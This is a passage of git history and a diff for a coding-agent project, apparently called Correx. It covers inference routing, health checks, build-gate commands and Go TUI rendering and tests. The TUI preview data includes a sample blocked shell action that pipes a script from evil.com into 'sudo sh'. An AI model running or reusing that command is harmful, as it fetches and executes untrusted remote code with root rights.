already widens out-of-workspace reads) and the first attempt's write is executed.
On denial, the call is rejected as before. escalateScopeAfterN = 0 preserves the
old hard-block-forever behavior.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GeyGFXczJb8RUWGBKmkm6G
2026-07-21 02:22:09 +04:00
kami 0af2f200d8 fix(prompts): resolve analyst epic-vs-child ambiguity that burned the full reasoning budget (#297)
Live incident: "Write a web-ui for Correx" resolved to a pre-existing parent
epic (webui-8, with children webui-9..14). The old prompt only said "name a
task that covers this work" and, separately, "after decomposing, name the
single ready child" — it never said what to do when an EXISTING task found
via task_search/task_context is itself a parent. The model oscillated
between naming the epic, re-decomposing, or working a child until it burned
all 16384 reasoning tokens and emitted nothing.

Reworded analyst_freestyle.md's task-framing section so every branch
(existing leaf, existing parent, no task yet + single unit, no task yet +
needs decomposition) converges on one rule: never name a parent/epic, always
name the single ready child — removing the decision entirely rather than
asking the model to make it under ambiguity.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GeyGFXczJb8RUWGBKmkm6G
2026-07-21 02:05:20 +04:00
kami bf36252736 feat(health): gate routing event-driven on connection drop, not just periodic poll (#300)
HealthMonitor's periodic poll took ~18s to notice a dead provider — long
after a retry had already re-selected it and died. Health needs to GATE
routing, not just log reactively.

- InferenceRouter.reportFailure(providerId, reason): new default-no-op
  method; DefaultInferenceRouter implements it by writing Unavailable
  straight into its health cache, bypassing healthCheck()/TTL entirely.
- SessionOrchestrator.runInference: on a connection-level exception
  (ConnectException/SocketException/IOException or a message matching
  "prematurely closed"/"connection refused"/"connection reset"), call
  reportFailure immediately so the very next route() call — the retry driven
  by #299 — sees the provider as down right away instead of re-selecting it
  and dying again.

Pairs with #299: routing now (1) reacts to a connection drop instantly and
(2) waits/backs off for the capability to recover before declaring terminal.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GeyGFXczJb8RUWGBKmkm6G
2026-07-21 02:01:35 +04:00
kami c5289420a1 fix(inference): tolerate a briefly-absent provider instead of killing the session (#299)
A transient provider connection drop (e.g. OOM-killed llama.cpp mid-request)
collapsed into a hard NoEligibleProviderException that escaped runInference's
try/catch (the route() call sat outside it), propagated past the stage retry
loop, and landed in ServerModule's session-level catch — failing the WHOLE
session even though the failure was retryable and the provider recovered
seconds later.

- SessionOrchestrator.runInference: wrap router.route() in try/catch so
  routing failures become InferenceResult.Failed and flow through the normal
  retryable/backoff/exhaustion machinery instead of escaping.
- DefaultInferenceRouter.route: distinguish "capability never configured on
  any provider" (fail fast, waiting can't help) from "configured but
  currently unhealthy" (bounded wait/backoff — default 3 attempts x 2s —
  re-checking health before declaring NoEligibleProvider terminal).

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01GeyGFXczJb8RUWGBKmkm6G
2026-07-21 01:57:04 +04:00
98 changed files with 3923 additions and 218 deletions
+22 -3
View File
@@ -6,6 +6,7 @@ conventions = [
"No bare try-catch; use runCatching and sealed domain error types",
"Every new EventPayload must be registered in the eventModule polymorphic block (Serialization.kt)",
"Track multi-session or handoff work as native tasks: search before creating to avoid duplicates (task_search), task_context before starting, claim before working, submit_for_review when ready, complete after review. Don't open a task for a single self-contained edit you finish now. When a goal has dependency seams or independent review points, task_decompose it into a parent + DEPENDS_ON-linked children (one approval) instead of one big task; a session works one task at a time, so siblings are claimed by later runs as they unblock.",
"UI uses the Ethos design system in ./design-system. COPY design-system/ethos.tokens.css and ethos-icons.svg into the project and import them — do NOT read their contents. All colors/spacing/radii come from the token CSS vars (never hardcode). Read design-system/SKILL.md only for component/layout rules.",
]
[commands]
@@ -13,10 +14,28 @@ test-all = "./gradlew check --rerun-tasks"
test-module = "./gradlew :core:<module>:test --rerun-tasks"
context-lookup = "python scripts/ctx.py <query>"
epic-status = "bash scripts/epic-status.sh"
# Build-gate aliases (BuildExpectation → commandAlias): MODULE→typecheck, PROJECT→build, TESTS→test.
# Build-gate aliases (BuildExpectation → commandAlias): MODULE→typecheck, PROJECT→build, TESTS→test,
# plus `setup` run before each gate. This repo hosts TWO toolchains — Kotlin at root, a Node app in
# frontend/ — so the flat aliases below are the jvm default and the [commands.*] sections below take
# precedence when the gate can tell what a stage wrote (#40, BuildGateToolchain.stageProducedToolchain).
# The gate runner is whitespace-split / no-shell and runs at workspace_root (the repo), so `--prefix
# frontend` targets the Node subproject without a `cd`. `npm run build` = `tsc && vite build` (npm's
# own shell handles the &&), which fails on a dangling asset import — exactly the COMPLETED-lie hole.
# frontend` targets the Node subproject without a `cd`.
typecheck = "./gradlew compileKotlin"
build = "./gradlew assemble"
test = "./gradlew check"
[commands.jvm]
typecheck = "./gradlew compileKotlin"
build = "./gradlew assemble"
test = "./gradlew check"
[commands.node]
# `npm run build` = `tsc && vite build` (npm's own shell handles the &&), which fails on a dangling
# asset import — exactly the COMPLETED-lie hole the terminal build gate exists to catch.
# QA runs clear frontend/ before each run, so node_modules is absent when that gate fires; without
# `setup` it fails on missing deps instead of on the code. `install`, not `ci`: a fresh scaffold has
# no package-lock.json yet.
setup = "npm --prefix frontend install"
typecheck = "npm --prefix frontend run build"
build = "npm --prefix frontend run build"
test = "npm --prefix frontend test"
+1 -3
View File
@@ -81,6 +81,4 @@ apps/server/logs/
# local QA scratch workspace (nested git repo)
/qa/
# QA scaffold artifact (freestyle build-gate runs)
frontend/
testing/integration/logs/
@@ -1,3 +1,3 @@
package com.correx.apps.cli
internal const val DEFAULT_PORT = 8080
internal const val DEFAULT_PORT = 8090
@@ -24,7 +24,15 @@ private const val RETRIEVAL_OVERSAMPLE_FACTOR = 4
// live grounding); below this floor a hit is just the nearest thing in a small corpus, not
// actually related to the query — rendering it as "relevant" is the same poisoning failure
// mode as the markdown-in-L3 bug, just via low-signal cosine similarity instead of topic drift.
private const val MIN_SIMILARITY_SCORE = 0.5f
//
// ponytail: 0.5 was too low. Docs embed a terse *symbol-list* descriptor ("path: module X;
// symbols: a,b") while queries embed *prose* intent — an asymmetric prose↔symbols comparison
// that collapses ALL scores into a ~0.5 noise band (2026-07-21 session 459: top junk hits at
// 0.54/0.53, real relevance never reached). At 0.5 those noise-winners cleared the bar and
// SUPPRESSED the deterministic repo-map floor (repoEntriesOrMapFloor). 0.6 sits above the
// observed noise ceiling (~0.55) and below the real-signal floor (0.68): noise → empty →
// fall back to the repo map. Calibration knob — retune if the embedder model changes.
private const val MIN_SIMILARITY_SCORE = 0.6f
class L3RepoKnowledgeRetriever(
private val embedder: Embedder,
+15 -6
View File
@@ -216,13 +216,22 @@ func PreviewFrame(kind string, w, h int) string {
m.sessionEntered = true
m.routerConnected = true
m.routerMessages["04a546aa"] = []RouterEntry{
{Role: "user", Content: "run the healthcheck and write the script"},
{Role: "router", Content: "I'll create the script, then run it."},
{Role: "action", Icon: "✎", Content: "wrote healthcheck.sh (+4 0)"},
{Role: "action", Icon: "⌘", Content: "approved file_write"},
{Role: "action", Icon: "", Content: "shell · exit 0"},
{Role: "user", Content: "fix the healthcheck script and search for all usages"},
{Role: "router", Content: "I'll read the current file, grep for references, then write the fix."},
{Role: "thinking", Content: "The user wants a script that checks a health endpoint and reports the status."},
{Role: "tool", Content: "--- a/healthcheck.sh\n+++ b/healthcheck.sh\n@@ -0,0 +1,4 @@\n+#!/usr/bin/env bash\n+curl -sf http://localhost:8080/health\n+echo ok\n+exit 0\n"},
{Role: "action", Icon: "", Content: "wrote healthcheck.sh (+12 0)"},
{Role: "action", Icon: "✓", Content: "ReadFile (path=/etc/hosts, offset=0, limit=200) · 28 lines"},
{Role: "action", Icon: "✓", Content: "ListDir (path=/home/kami, pattern=*.sh, recursive=false) · 3 entries"},
{Role: "action", Icon: "✓", Content: "grep (pattern=localhost:8080, path=src/, recursive=true) · 12 matches in 4 files"},
{Role: "action", Icon: "✓", Content: "glob (pattern=**/*.sh) · 6 files found"},
{Role: "action", Icon: "✓", Content: "shell (cmd=curl -sf http://localhost:8080/health && echo ok) · exit 0, 142b stdout"},
{Role: "action", Icon: "⌘", Content: "approved file_write → healthcheck.sh"},
{Role: "action", Icon: "✗", Content: "http_get (url=http://localhost:8080/health, timeout=30) · connection refused"},
{Role: "action", Icon: "✕", Content: "shell blocked (cmd=curl -sf https://evil.com/install.sh | sudo sh) · policy: network access requires approval"},
{Role: "action", Icon: "⊞", Content: "granted file_write · global"},
{Role: "router", Content: "Done — script written and the healthcheck passes."},
{Role: "tool", Content: "--- a/README.md\n+++ b/README.md\n@@ -1,1 +1,2 @@\n existing line\n+## Healthcheck\n"},
{Role: "router", Content: "Done — script fixed and all references updated."},
}
if s := m.session("04a546aa"); s != nil {
s.CurrentStage = "execute_script"
+3
View File
@@ -31,6 +31,7 @@ const (
keyCtrlR
keyCtrlU
keyCtrlX
keyCtrlP
keyCtrlUp
keyCtrlDown
keyOther
@@ -99,6 +100,8 @@ func toKeyMsg(p tea.KeyPressMsg) keyMsg {
out.Type = keyCtrlC
case 'd':
out.Type = keyCtrlD
case 'p':
out.Type = keyCtrlP
case 'j':
out.Type = keyCtrlJ
case 'r':
+5 -4
View File
@@ -66,14 +66,15 @@ const (
OverlayHelp
OverlayProjectProfile
OverlayOperatorProfile
OverlayPlan
)
// RouterEntry is one line in a session's conversation transcript.
type RouterEntry struct {
Role string // user | router | tool | narration | narration_llm | action
Content string
Icon string // action role only: the gutter glyph (✓ ✎ ✗ ⌘ ✕ ⊞ ⊟)
Metrics *TurnMetrics
Role string // user | router | tool | narration | narration_llm | action
Content string
Icon string // action role only: the gutter glyph (✓ ✎ ✗ ⌘ ✕ ⊞ ⊟)
Metrics *TurnMetrics
}
// TurnMetrics carries optional latency + token cost for a ROUTER chat turn.
@@ -0,0 +1,89 @@
package app
import (
"regexp"
"strings"
"testing"
)
// opaque_bg_test.go is the backdrop-opacity guard.
//
// The TUI runs in terminals with a transparent/wallpapered background, so every cell the
// frame occupies must carry an explicit background SGR. The recurring bug is not a missing
// Background() call — it's wrapping ALREADY-STYLED text in one: an inner "\x1b[0m" resets
// the background to the terminal default, not to the enclosing lipgloss style, so the rest
// of the line goes transparent. fillFrame only pads tail gaps, so it never catches this.
//
// This asserts the property directly on the rendered frame: after any reset, no printable
// character may appear before a background SGR re-establishes the backdrop.
// bgSGR matches a background color introduction: 4x/10x (basic/bright), 48;5;N (256),
// or 48;2;R;G;B (truecolor) — anywhere in a multi-parameter SGR sequence.
var bgSGR = regexp.MustCompile(`\x1b\[[0-9;]*?(?:4[0-7]|10[0-7]|48;[25])[0-9;]*m`)
var anySGR = regexp.MustCompile(`\x1b\[[0-9;]*m`)
// firstTransparentRun returns the first printable run in line that is rendered with no
// background set, or "" when every printable cell is backed. Leading/trailing whitespace
// outside any SGR is ignored only when the line is entirely blank.
func firstTransparentRun(line string) string {
if strings.TrimSpace(anySGR.ReplaceAllString(line, "")) == "" {
return "" // blank row; fillFrame pads it
}
bgActive := false
pos := 0
for _, loc := range anySGR.FindAllStringIndex(line, -1) {
if text := line[pos:loc[0]]; strings.TrimSpace(text) != "" && !bgActive {
return text
}
seq := line[loc[0]:loc[1]]
switch {
case bgSGR.MatchString(seq):
bgActive = true
case seq == "\x1b[0m" || seq == "\x1b[m":
bgActive = false
}
pos = loc[1]
}
if text := line[pos:]; strings.TrimSpace(text) != "" && !bgActive {
return text
}
return ""
}
func TestPaintBGSurvivesInnerResets(t *testing.T) {
// A pre-styled string shaped like glamour output: styled span, reset, more text.
pre := "\x1b[1mbold\x1b[0m plain \x1b[36mcyan\x1b[0m tail"
if got := firstTransparentRun(pre); got == "" {
t.Fatal("fixture is already opaque — it cannot prove paintBG does anything")
}
painted := paintBG(pre, newMatrixModel().theme.P.Bg)
if got := firstTransparentRun(painted); got != "" {
t.Errorf("paintBG left a transparent run %q\nin: %q", got, painted)
}
// The bug this replaces: wrapping pre-styled ANSI in Background().Render.
if strings.TrimSpace(anySGR.ReplaceAllString(painted, "")) != "bold plain cyan tail" {
t.Errorf("paintBG altered visible text: %q", anySGR.ReplaceAllString(painted, ""))
}
}
func TestFrameHasNoTransparentCells(t *testing.T) {
for _, tc := range matrixCases() {
t.Run(tc.name, func(t *testing.T) {
m := newMatrixModel()
if tc.prep != nil {
tc.prep(&m)
}
m.applyServer(tc.build())
for i, ln := range strings.Split(m.render(), "\n") {
if got := firstTransparentRun(ln); got != "" {
t.Errorf("row %d has no background under %q\nrow: %q", i, got, ln)
}
}
})
}
}
@@ -0,0 +1,42 @@
package app
import (
"strings"
"testing"
)
// #414: tool output and harness coach text (read-before-write, write blocks) must survive
// into the transcript in full and wrap across rows — not get clipped to a single line.
func TestActionToolTextKeepsFullSummary(t *testing.T) {
coach := "write rejected: read apps/server/src/main/kotlin/Dtos.kt before editing it — " +
"the file is not in this stage's read manifest, so the edit would be blind."
got := actionToolText("file_write blocked", coach)
if !strings.Contains(got, "read manifest") {
t.Fatalf("coach text was clipped: %q", got)
}
m := inSessionModel(120, 30)
m.routerMessages[m.selectedID] = []RouterEntry{{Role: "action", Icon: "✕", Content: got}}
w, _ := m.outputViewport()
rows, _ := m.buildTranscriptRows(w)
if len(rows) < 2 {
t.Fatalf("long action content rendered in %d row(s), want it wrapped over several", len(rows))
}
}
// #415: the reasoning trace renders once per turn (its own "thinking" row) — the following
// tool row must not repeat it.
func TestReasoningRendersOncePerTurn(t *testing.T) {
const cot = "unique-cot-marker: check the health endpoint first"
m := inSessionModel(120, 30)
m.thinkingShown = true
m.routerMessages[m.selectedID] = []RouterEntry{
{Role: "thinking", Content: cot},
{Role: "tool", Content: "--- a/x.sh\n+++ b/x.sh\n@@ -0,0 +1 @@\n+echo ok\n"},
}
w, _ := m.outputViewport()
rows, _ := m.buildTranscriptRows(w)
if n := strings.Count(stripANSI(strings.Join(rows, "\n")), "unique-cot-marker"); n != 1 {
t.Fatalf("reasoning rendered %d times, want 1", n)
}
}
+68
View File
@@ -141,6 +141,8 @@ func (m Model) renderOverlay(base string) string {
return m.center(m.grantsModal())
case OverlayGrantScope:
return m.center(m.grantScopeModal())
case OverlayPlan:
return m.center(m.planModal())
case OverlayHelp:
return m.center(m.helpModal())
}
@@ -926,6 +928,72 @@ func (m Model) toolPaletteModal() string {
return m.center(modal)
}
func (m Model) planModal() string {
t := m.theme
w := m.modalWidth()
s := m.session(m.selectedID)
var b strings.Builder
b.WriteString(m.titleLine("execution plan"))
if s != nil {
b.WriteString(mbg(t, " — "+s.WorkflowID, t.P.Dim))
}
b.WriteString("\n\n")
if s == nil || len(s.PlanStages) == 0 {
b.WriteString(mbg(t, " no execution plan yet — stages appear once the plan is locked", t.P.Faint) + "\n")
if s != nil && s.CurrentStage != "" {
b.WriteString(mbg(t, " current stage: "+s.CurrentStage, t.P.Accent2) + "\n")
}
} else {
goal := strings.TrimSpace(s.PlanGoal)
if goal != "" {
b.WriteString(mbg(t, " goal", t.P.Faint) + "\n")
for _, ln := range wrap(goal, w-8) {
b.WriteString(mbg(t, " "+ln, t.P.Fg) + "\n")
}
b.WriteString("\n")
}
b.WriteString(mbg(t, " stages ("+itoa(len(s.PlanStages))+" total)", t.P.Faint) + "\n")
idW := 0
for _, ps := range s.PlanStages {
if len(ps.ID) > idW {
idW = len(ps.ID)
}
}
for _, ps := range s.PlanStages {
var badge string
switch ps.Status {
case PlanPending:
badge = mbg(t, " ○ pending", t.P.Faint)
case PlanRunning:
badge = lipgloss.NewStyle().Foreground(t.P.Accent).Background(t.P.BgPanel).Bold(true).Render(" ● running")
case PlanCompleted:
badge = lipgloss.NewStyle().Foreground(t.P.OK).Background(t.P.BgPanel).Render(" ✓ done")
case PlanFailed:
badge = lipgloss.NewStyle().Foreground(t.P.Bad).Background(t.P.BgPanel).Render(" ✗ failed")
}
stageLine := mbg(t, " ", t.P.BgPanel) + badge + mbg(t, " "+padRaw(ps.ID, idW), t.P.Fg)
if s.ToolsByStage != nil {
if tools, ok := s.ToolsByStage[ps.ID]; ok && len(tools) > 0 {
stageLine += mbg(t, " ["+itoa(len(tools))+" tools]", t.P.Faint)
}
}
if budget, ok := s.TokenBudgetByStage[ps.ID]; ok && budget > 0 {
used := 0
if ps.ID == s.CurrentStage {
used = s.StageTokensUsed
}
stageLine += mbg(t, " ("+itoa(used)+"/"+itoa(budget)+" tok)", t.P.Faint)
}
b.WriteString(stageLine + "\n")
}
}
b.WriteString("\n" + modalHints(t, [][2]string{{"esc", "close"}}))
return t.Overlay.Width(w).Render(b.String())
}
func (m Model) modelsModal() string {
t := m.theme
w := m.modalWidth()
+56 -9
View File
@@ -136,8 +136,12 @@ func (m *Model) applyServer(msg protocol.ServerMessage) {
if s := m.session(msg.SessionID); s != nil {
s.Status = "ACTIVE"
s.clearApprovals()
s.Clar = nil
s.LastEventAt = nowMillis()
}
if msg.SessionID == m.selectedID {
m.clarResetState()
}
case protocol.TypeSessionCompleted:
m.touch(msg.SessionID, "COMPLETED")
if s := m.session(msg.SessionID); s != nil {
@@ -361,13 +365,22 @@ func (m *Model) applyServer(msg protocol.ServerMessage) {
if s := m.session(msg.SessionID); s != nil {
// The resolved gate names no tool on the wire; recover it from the pending
// queue before dropping the gate, for the inline row.
tool := ""
tool, preview := "", ""
for _, a := range s.PendingQueue {
if a.RequestID == msg.RequestID {
tool = a.ToolName
preview = a.Preview
break
}
}
// Extract the target (file path for diffs, command for shell) from the
// preview so the action row reads "approved file_write → healthcheck.sh".
target := ""
if tool == "file_write" && isUnifiedDiff(preview) {
target = diffTarget(preview)
} else if tool == "shell" && strings.HasPrefix(preview, "{") {
target = previewTarget(preview)
}
// Drop just the resolved gate; any others stay queued and the band
// advances to the next rather than vanishing entirely.
s.removeApproval(msg.RequestID)
@@ -377,7 +390,7 @@ func (m *Model) applyServer(msg protocol.ServerMessage) {
}
s.addEvent(msg.OccurredAt, "ApprovalResolved", detail)
s.LastEventAt = nowMillis()
m.appendAction(msg.SessionID, approvalIcon(msg.Outcome), approvalActionText(msg.Outcome, tool, msg.Reason))
m.appendAction(msg.SessionID, approvalIcon(msg.Outcome), approvalActionText(msg.Outcome, tool, target, msg.Reason))
}
case protocol.TypeSessionSnapshot:
m.onSnapshot(msg)
@@ -574,23 +587,30 @@ func lastToolParams(s *Session, name string) []string {
}
// paramSuffix renders pretty call args as a " (k=v · k=v)" suffix, or "" when there are none.
// The clip is generous (200 cols) so real tool arguments like shell commands, grep patterns,
// and file paths are legible — the panel width is the real limit.
func paramSuffix(params []string) string {
if len(params) == 0 {
return ""
}
return " (" + clip(strings.Join(params, " · "), 56) + ")"
return " (" + clip(strings.Join(params, " · "), 200) + ")"
}
// actionToolText joins a tool label with a short, clipped result summary.
// actionToolText joins a tool label with its result summary. The action row wraps its
// content to the panel width, so the summary is kept whole rather than clipped to one
// line — tool output and harness coach text (read-before-write, write blocks, gate
// feedback) are the payload, not decoration.
func actionToolText(label, summary string) string {
// Collapse to a single line first: tool summaries (dir listings, file heads)
// often carry newlines, and a multi-line action row paints a background stripe
// per line with the raw content leaking underneath.
// Newlines are normalised away because the renderer re-wraps to panel width anyway;
// leaving them in would paint a background stripe per raw line.
s := strings.Join(strings.Fields(summary), " ")
if s == "" {
return label
}
return label + " · " + clip(s, 48)
// ponytail: flat 4000-char ceiling so one recursive list_dir can't flood the
// transcript. Swap for expand-on-select against the diff/preview surface if that
// ceiling starts cutting real output.
return label + " · " + clip(s, 4000)
}
func approvalIcon(outcome string) string {
@@ -602,7 +622,7 @@ func approvalIcon(outcome string) string {
// approvalActionText renders the inline approval row, noting an auto-approval that fired via a
// standing grant (reason "grant:<id>").
func approvalActionText(outcome, tool, reason string) string {
func approvalActionText(outcome, tool, target, reason string) string {
verb := "approved"
switch outcome {
case "REJECTED":
@@ -614,12 +634,39 @@ func approvalActionText(outcome, tool, reason string) string {
if tool != "" {
txt = verb + " " + tool
}
if target != "" {
txt += " → " + target
}
if strings.HasPrefix(reason, "grant:") {
txt += " · via grant"
}
return txt
}
// previewTarget extracts a short target label from a JSON preview payload
// (e.g. {"argv":["bash","-c","curl ..."]} → the last argv element, truncated).
func previewTarget(preview string) string {
// Naive extraction: find "argv" array and return the last element
if i := strings.Index(preview, `"argv":`); i >= 0 {
rest := preview[i+len(`"argv":`):]
if j := strings.IndexByte(rest, '['); j >= 0 {
argv := rest[j:]
if k := strings.IndexByte(argv, ']'); k >= 0 {
argv = argv[:k+1]
}
// Parse comma-separated strings, grab the last non-empty
parts := strings.Split(strings.Trim(argv, "[]"), ",")
for i := len(parts) - 1; i >= 0; i-- {
candidate := strings.Trim(strings.Trim(parts[i], ` "`), `"`)
if candidate != "" {
return clip(candidate, 40)
}
}
}
}
return ""
}
// onSessionAnnounced fills in a session's workflow identity (the announce is the
// only event carrying workflowId) and applies auto-focus. The session entry itself
// was already created by the auto-vivify path in applyServer.
@@ -11,11 +11,11 @@ func TestToolRowSummary_DiffReportsRows(t *testing.T) {
diff := "--- a/f\n+++ b/f\n@@ -1,2 +1,3 @@\n context\n-old line\n+new line\n+added line\n"
got := toolRowSummary(diff)
wantRows := previewRowCount(diff)
if !strings.Contains(got, "diff (") || !strings.Contains(got, itoa(wantRows)+" rows") {
if !strings.Contains(got, "diff") || !strings.Contains(got, itoa(wantRows)+" rows") {
t.Fatalf("diff summary = %q, want a diff row count of %d", got, wantRows)
}
if strings.Contains(got, "tool output") {
t.Errorf("a diff should not be labelled 'tool output': %q", got)
if strings.Contains(got, "output") {
t.Errorf("a diff should not be labelled 'output': %q", got)
}
}
@@ -23,7 +23,7 @@ func TestToolRowSummary_DiffReportsRows(t *testing.T) {
func TestToolRowSummary_NonDiffCountsRunes(t *testing.T) {
content := "café — déjà" // 11 runes, but 14 bytes (é, —, à are multi-byte)
got := toolRowSummary(content)
if !strings.Contains(got, "(11 chars)") {
if !strings.Contains(got, "11 chars") {
t.Fatalf("non-diff summary = %q, want 11 chars (runes, not bytes)", got)
}
}
+9
View File
@@ -287,6 +287,11 @@ func (m Model) handleNormalKey(k keyMsg) (tea.Model, tea.Cmd) {
m.diffScrollOffset = 0
}
return m, nil
case keyCtrlP:
if ds == StateInSession {
m.overlay = OverlayPlan
}
return m, nil
}
if k.Type != keyRunes {
return m, nil
@@ -855,6 +860,10 @@ func (m Model) handleOverlayKey(k keyMsg) (tea.Model, tea.Cmd) {
if runeIs(k, "H") {
m.overlay = OverlayNone
}
case OverlayPlan:
if k.Type == keyCtrlP || runeIs(k, "p") {
m.overlay = OverlayNone
}
case OverlayIdeas:
switch {
case k.Type == keyUp || runeIs(k, "k"):
+144 -18
View File
@@ -402,7 +402,7 @@ func (m Model) changesRows(w, h int) []string {
t := m.theme
turns, toks := 0, 0
for _, e := range m.routerMessages[m.selectedID] {
if e.Role == "router" && e.Metrics != nil {
if (e.Role == "router" || e.Role == "narration_llm") && e.Metrics != nil {
turns++
toks += e.Metrics.TotalTokens
}
@@ -811,18 +811,41 @@ func (m Model) buildTranscriptRows(w int) ([]string, []int) {
case "router":
// The router turn is model output: render it as markdown (bold,
// lists, headings, code) wrapped to the panel width. glamour applies
// its own inline foreground colors; we keep the opaque panel by
// fixing each line's background. On any failure renderMarkdown hands
// back the plain content, which still flows through this path fine.
// its own inline foreground colors *and* emits a reset after each
// span, so the panel background has to be repainted per segment —
// paintBG, not Background().Render. On any failure renderMarkdown
// hands back the plain content, which still flows through fine.
rendered := renderMarkdown(e.Content, w)
for _, ln := range strings.Split(rendered, "\n") {
rows = append(rows, lipgloss.NewStyle().Background(t.P.Bg).Render(ln))
rows = append(rows, paintBG(ln, t.P.Bg))
}
if s := metricsSuffix(e.Metrics); s != "" {
rows = append(rows, t.span(s, t.P.Faint))
}
case "tool":
rows = append(rows, t.span(toolRowSummary(e.Content), t.P.Dim))
// No reasoning block here: the trace already renders as its own "thinking" row
// (appended on inference.completed), and repeating it on the following tool row
// showed the same CoT twice per turn.
gutter := t.span(" ┈", t.P.Faint)
summary := toolRowSummary(e.Content)
avail := w - 4
if avail < 10 {
avail = 10
}
prefixW := lipgloss.Width(gutter) + 1
contentW := avail - prefixW
if contentW < 4 {
contentW = 4
}
parts := wrapContent(summary, contentW)
for i, ln := range parts {
if i == 0 {
rows = append(rows, gutter+" "+t.span(ln, t.P.Dim))
} else {
indent := t.span(strings.Repeat(" ", prefixW+1), t.P.Bg)
rows = append(rows, indent+t.span(ln, t.P.Dim))
}
}
case "thinking":
// Collapsed by default to a single muted line so the reasoning trace doesn't bury
// the answer; the palette "thinking" toggle reveals the full dimmed block.
@@ -832,12 +855,13 @@ func (m Model) buildTranscriptRows(w int) ([]string, []int) {
rows = append(rows, brain+t.span(" thinking ("+plural(n, "line")+") — palette: thinking", t.P.Faint))
break
}
lines := wrap(e.Content, w-2)
rendered := renderMarkdown(e.Content, w-2)
lines := strings.Split(rendered, "\n")
for i, ln := range lines {
if i == 0 {
rows = append(rows, brain+t.span(" ", t.P.Bg)+t.span(ln, t.P.Faint))
rows = append(rows, brain+t.span(" ", t.P.Bg)+lipgloss.NewStyle().Foreground(t.P.Faint).Background(t.P.Bg).Render(ln))
} else {
rows = append(rows, t.span(" ", t.P.Bg)+t.span(ln, t.P.Faint))
rows = append(rows, t.span(" ", t.P.Bg)+lipgloss.NewStyle().Foreground(t.P.Faint).Background(t.P.Bg).Render(ln))
}
}
case "narration_llm":
@@ -861,8 +885,35 @@ func (m Model) buildTranscriptRows(w int) ([]string, []int) {
if m.actionsHidden {
break
}
icon := lipgloss.NewStyle().Foreground(t.P.Accent2).Background(t.P.Bg).Render(e.Icon)
rows = append(rows, t.span(" ", t.P.Bg)+icon+t.span(" ", t.P.Bg)+t.span(e.Content, t.P.Dim))
iconFg := t.P.Accent2
switch e.Icon {
case "✓":
iconFg = t.P.OK
case "✗":
iconFg = t.P.Bad
case "✕":
iconFg = t.P.Warn
}
gutter := t.span(" ┈", t.P.Faint)
icon := lipgloss.NewStyle().Foreground(iconFg).Background(t.P.Bg).Bold(true).Render(e.Icon)
prefix := gutter + " " + icon + " "
avail := w - 4 // box inner padding
if avail < 10 {
avail = 10
}
contentW := avail - lipgloss.Width(prefix)
if contentW < 4 {
contentW = 4
}
parts := wrapContent(e.Content, contentW)
for i, ln := range parts {
if i == 0 {
rows = append(rows, prefix+t.span(ln, t.P.FgStrong))
} else {
indent := t.span(strings.Repeat(" ", lipgloss.Width(prefix)), t.P.Bg)
rows = append(rows, indent+t.span(ln, t.P.FgStrong))
}
}
}
}
return rows, msgStart
@@ -1021,6 +1072,27 @@ func padTo(s string, w int, bg color.Color) string {
return s + lipgloss.NewStyle().Background(bg).Render(strings.Repeat(" ", w-vw))
}
// paintBG makes an ALREADY-STYLED string opaque. Wrapping pre-rendered ANSI in a
// Background() style does not work: an inner "\x1b[0m" (glamour emits one per styled
// span) resets the background to the *terminal* default, not to the enclosing lipgloss
// style, so every cell after the first reset goes transparent. Splitting on the reset
// and re-applying the background to each segment repaints those cells while leaving each
// segment's own foreground codes intact.
//
// Use this instead of Background().Render(s) whenever s may already contain ANSI —
// markdown, syntax-highlighted, or otherwise pre-composed content.
func paintBG(s string, bg color.Color) string {
s = strings.ReplaceAll(s, "\x1b[m", "\x1b[0m") // normalize the short reset form
st := lipgloss.NewStyle().Background(bg)
parts := strings.Split(s, "\x1b[0m")
for i, p := range parts {
if p != "" {
parts[i] = st.Render(p)
}
}
return strings.Join(parts, "")
}
// padRaw pads a plain (unstyled) string to width w with spaces, truncating with
// an ellipsis only when it genuinely overflows.
func padRaw(s string, w int) string {
@@ -1154,16 +1226,18 @@ func itoa(n int) string {
return string(b[i:])
}
// toolRowSummary collapses a tool-output transcript entry into a one-line pointer. A
// write/edit entry holds a unified diff, so summarise it by what ^x actually shows — the
// diff's row count — instead of the raw diff byte length (which read as a meaningless
// "N chars": it counted +/-/@@/header bytes, not anything the operator cares about, and
// len() is bytes not characters). Non-diff output falls back to a true character count.
// toolRowSummary collapses a tool-output transcript entry into a one-line summary. For
// write/edit entries (unified diffs) it shows the file path and row count; non-diff output
// shows a character count. The leading badge (▾ diff / ▾ output) tells the kind at a glance.
func toolRowSummary(content string) string {
if isUnifiedDiff(content) {
return "· diff (" + itoa(previewRowCount(content)) + " rows) — ^x to view"
n := itoa(previewRowCount(content))
if p := diffTarget(content); p != "" {
return "▾ diff · " + p + " · " + n + " rows · ^x"
}
return "▾ diff · " + n + " rows · ^x"
}
return "· tool output (" + itoa(len([]rune(content))) + " chars) — ^x to view"
return " output · " + itoa(len([]rune(content))) + " chars · ^x"
}
// metricsSuffix formats the faint latency+token annotation for a ROUTER turn.
@@ -1200,3 +1274,55 @@ func wrap(s string, w int) []string {
}
return lines
}
// wrapContent splits plain text into lines no wider than w. Words that fit whole
// are kept together; a word longer than w is character-wrapped at w. Returns at
// least one line.
func wrapContent(s string, w int) []string {
if w < 1 {
w = 1
}
if len(s) <= w {
return []string{s}
}
words := strings.Fields(s)
if len(words) == 0 {
return []string{""}
}
var lines []string
cur := ""
flush := func() {
if cur != "" {
lines = append(lines, cur)
cur = ""
}
}
for _, word := range words {
// Does the word itself overflow the width? If so, flush current line,
// then character-wrap the word.
if len(word) > w {
flush()
for len(word) > w {
lines = append(lines, word[:w])
word = word[w:]
}
if word != "" {
cur = word
}
continue
}
if cur == "" {
cur = word
} else if len(cur)+1+len(word) <= w {
cur += " " + word
} else {
lines = append(lines, cur)
cur = word
}
}
flush()
if len(lines) == 0 {
return []string{""}
}
return lines
}
+1 -1
View File
@@ -15,7 +15,7 @@ import (
func main() {
host := flag.String("host", "localhost", "server host")
port := flag.Int("port", 8080, "server port")
port := flag.Int("port", 8090, "server port")
flag.Parse()
if path := os.Getenv("CORREX_TUI_LOG"); path != "" {
